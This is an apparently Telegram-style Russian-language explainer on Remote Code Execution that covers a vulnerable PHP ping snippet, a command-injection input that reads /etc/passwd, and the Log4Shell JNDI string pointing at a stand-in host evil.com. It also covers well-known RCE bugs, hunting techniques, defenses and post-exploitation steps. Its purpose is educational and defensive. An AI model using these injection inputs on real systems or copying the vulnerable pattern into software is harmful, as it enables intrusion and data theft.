💀 RCE: Remote Code Execution — мечта любого хакера и кошмар
Кратко: Remote Code Execution (RCE) — это возможность выполнить произвольный код на сервере или компьютере жертвы на расстоянии. Без авторизации, без пароля, без физического доступа. Просто отправил специальный запрос — и сервер послушно запускает команду, которую ты придумал. RCE — это Game Over для любой системы: хакер получает полный контроль. Может украсть базу, зашифровать файлы, установить бэкдор или использовать сервер для атак на другие цели.
▫️ Как это работает Уязвимость возникает, когда приложение берёт данные от пользователя и без проверки передаёт их в опасную функцию: eval(), system(), exec(), unserialize().
Пример на PHP: $user_input = $_GET['cmd']; system('ping -c 1 ' . $user_input);
Обычный запрос: site.com/ping?cmd=8.8.8.8. Сервер выполняет ping -c 1 8.8.8.8. А злоумышленник шлёт: site.com/ping?cmd=8.8.8.8; cat /etc/passwd. Сервер выполняет: ping -c 1 8.8.8.8; cat /etc/passwd. Вывод файла с паролями прилетает в ответе. Всё. Хакер внутри.
▫️ Известные RCE-уязвимости (взломавшие мир) Log4Shell (2021) — критическая RCE в библиотеке логирования Log4j для Java. Злоумышленник отправляет строку ${jndi:ldap://evil.com/exploit}. Сервер подключается к evil.com, скачивает вредоносный код и выполняет его. Под ударом оказались десятки тысяч компаний — вплоть до Minecraft серверов и устройств Apple.
EternalBlue (2017) — разработан АНБ, украден хакерами и использован в WannaCry и NotPetya. Эксплойт к протоколу SMBv1, позволяющий запустить код на любом Windows-компьютере в сети без действий пользователя. Остановил работу больниц NHS, заводов Nissan и российских госорганов.
Spring4Shell (2022) — RCE в Java-фреймворке Spring. Эксплуатируется через параметры запроса с подстановкой ClassLoader.
phpMyAdmin (2009) — в одном из самых популярных инструментов администрирования баз данных. Эксплойт позволял через запрос выполнить любые SQL-команды.
CVE-2024-6387 (regreSSHion) — RCE в OpenSSH-сервере, вернувшаяся ошибка 2006 года. Позволяла выполнить код от root. Спустя почти 20 лет баг вернулся и ударил по миллионам серверов.
▫️ Как искать RCE Через Command Injection — в параметрах, которые подставляются в системные команды (ping, nslookup, tar, grep).
Через Deserialization — Java, Python, PHP могут автоматически превращать переданный объект в код. Если приложение распаковывает (десериализует) недоверенные данные — вероятна RCE.
Через File Upload — загрузить webshell: файл shell.php с кодом . Если загрузился и доступен по URL — хакер выполняет команды.
Через SSRF + внутренний сервис — если внутренний сервис (например, Redis или Memcached) имеет RCE, а приложение может отправлять ему запросы через SSRF. Через тип контента — библиотеки для обработки изображений, PDF, видео часто имеют известные RCE-уязвимости.
▫️ Как защищаться · Не доверяйте пользовательскому вводу — никогда не передавайте его в eval, system, exec. · Используйте белые списки — вместо ?page=about.php храните маппинг about → about.php. · Обновляйте зависимости — большинство RCE возникает из-за старых библиотек. · Web Application Firewall (WAF) — ловит известные паттерны атак. · Минимальные права — если приложение запущено от www-data, ущерб от RCE ограничен. · Сканируйте код — статические анализаторы (Semgrep, CodeQL) ловят опасные функции.
▫️ Что дальше? RCE -> полный контроль После успешного RCE хакер обычно: · Ставит бэкдор (reverse shell), чтобы возвращаться в систему. · Крадёт секреты (пароли, ключи, базы данных). · Закрепляется в системе (крон, systemd, автозагрузка). · Перемещается по сети (pivoting) на другие сервера. · Дожидается завершения или запускает шифровальщик.
Главный вывод: RCE — это не просто дыра, а точка невозврата. Если хакер получил возможность выполнять код на вашем сервере — считайте, что сервер уже не ваш. Сделайте бэкап, отключите его от сети и переустанавливайте. Основная защита от RCE — не доверять пользовательскому вводу никогда и ни при каких условиях.
#rce #remoteexecution #кибербезопасность #пентест #log4shell #eternalblue #spring4